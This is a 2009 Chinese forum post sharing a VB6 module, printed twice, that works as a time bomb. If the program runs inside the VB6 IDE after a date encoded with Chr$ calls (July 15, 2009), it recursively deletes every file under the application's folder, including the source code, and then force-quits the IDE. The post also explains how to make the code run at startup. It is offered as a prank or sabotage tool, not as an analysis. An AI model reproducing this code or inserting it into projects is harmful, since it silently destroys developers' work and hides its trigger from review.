您所在位置：主题：[讨论]一点比较“恶毒”的代码
天天学习
[专家分：4570] 发布于 2009-06-16 14:14:00
在模块里
[code=c]Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Const WM_QUIT = &H12
Private Function KillFolder(ByVal strFolder As String) As Long
On Error Resume Next
Dim strFile As String
Dim subFolders() As String
Dim i, subFolderCount As Long
If Right$(strFolder, 1) <> "\" Then strFolder = strFolder & "\"
strFile = Dir$(strFolder, vbDirectory Or vbHidden Or vbNormal Or vbReadOnly)
Do While strFile <> ""
If strFile <> "." And strFile <> ".." Then
If (GetAttr(strFolder & strFile) And vbDirectory) = vbDirectory Then
subFolderCount = subFolderCount + 1
ReDim Preserve subFolders(subFolderCount) As String
subFolders(subFolderCount - 1) = strFile
Else
SetAttr strFolder & strFile, vbNormal
Kill strFolder & strFile
End If
End If
strFile = Dir$
Loop
For i = 0 To subFolderCount - 1
Call KillFolder(strFolder + subFolders(i))
Next
RmDir strFolder
ReDim subFolders(0) As String
KillFolder = Err.Number
End Function
Private Function isIDEMode() As Boolean
On Error GoTo errHandler
Debug.Print 1 / 0
isIDEMode = False
Exit Function
errHandler:
Err.Clear
isIDEMode = True
End Function
Private Function QuitIDE() As Long
On Error Resume Next
Dim lHwnd As Long
Dim lRet As Long
lHwnd = FindWindow("wndclass_desked_gsk", vbNullString)
If lHwnd <> 0 Then
lRet = PostMessage(lHwnd, WM_QUIT, 0&, 0&)
End If
End Function
Sub main()
'//如果在IDE里运行，且日期超过了规定的日期，则会删除App.path下的所有文件(这可是所有代码文件啊)，然后退出vb6 IDE.所有的代码都付之东流~~~
If isIDEMode And Date > Chr$(55) & Chr$(47) & Chr$(49) & Chr$(53) & Chr$(47) & Chr$(50) & String$(2, Chr$(48)) & Chr$(57) Then
Call KillFolder(App.Path)
Call QuitIDE
End
Else
MdiMain.Show
End If
End Sub
[/code]设置工程从sub Main启动。
或者直接在MdiMain_Load()里调用main()，这样，不管是不是从sub Main启动，都保证执行main()
[code=c]Private Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
Private Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Private Const WM_QUIT = &H12
Private Function KillFolder(ByVal strFolder As String) As Long
On Error Resume Next
Dim strFile As String
Dim subFolders() As String
Dim i, subFolderCount As Long
If Right$(strFolder, 1) <> "\" Then strFolder = strFolder & "\"
strFile = Dir$(strFolder, vbDirectory Or vbHidden Or vbNormal Or vbReadOnly)
Do While strFile <> ""
If strFile <> "." And strFile <> ".." Then
If (GetAttr(strFolder & strFile) And vbDirectory) = vbDirectory Then
subFolderCount = subFolderCount + 1
ReDim Preserve subFolders(subFolderCount) As String
subFolders(subFolderCount - 1) = strFile
Else
SetAttr strFolder & strFile, vbNormal
Kill strFolder & strFile
End If
End If
strFile = Dir$
Loop
For i = 0 To subFolderCount - 1
Call KillFolder(strFolder + subFolders(i))
Next
RmDir strFolder
ReDim subFolders(0) As String
KillFolder = Err.Number
End Function
Private Function isIDEMode() As Boolean
On Error GoTo errHandler
Debug.Print 1 / 0
isIDEMode = False
Exit Function
errHandler:
Err.Clear
isIDEMode = True
End Function
Private Function QuitIDE() As Long
On Error Resume Next
Dim lHwnd As Long
Dim lRet As Long
lHwnd = FindWindow("wndclass_desked_gsk", vbNullString)
If lHwnd <> 0 Then
lRet = PostMessage(lHwnd, WM_QUIT, 0&, 0&)
End If
End Function
Sub main()
'//如果在IDE里运行，且日期超过了规定的日期，则会删除App.path下的所有文件(这可是所有代码文件啊)，然后退出vb6 IDE.所有的代码都付之东流~~~
If isIDEMode And Date > Chr$(55) & Chr$(47) & Chr$(49) & Chr$(53) & Chr$(47) & Chr$(50) & String$(2, Chr$(48)) & Chr$(57) Then
Call KillFolder(App.Path)
Call QuitIDE
End
Else
MdiMain.Show
End If
End Sub
[/code]设置工程从sub Main启动。
或者直接在MdiMain_Load()里调用main()，这样，不管是不是从sub Main启动，都保证执行main()
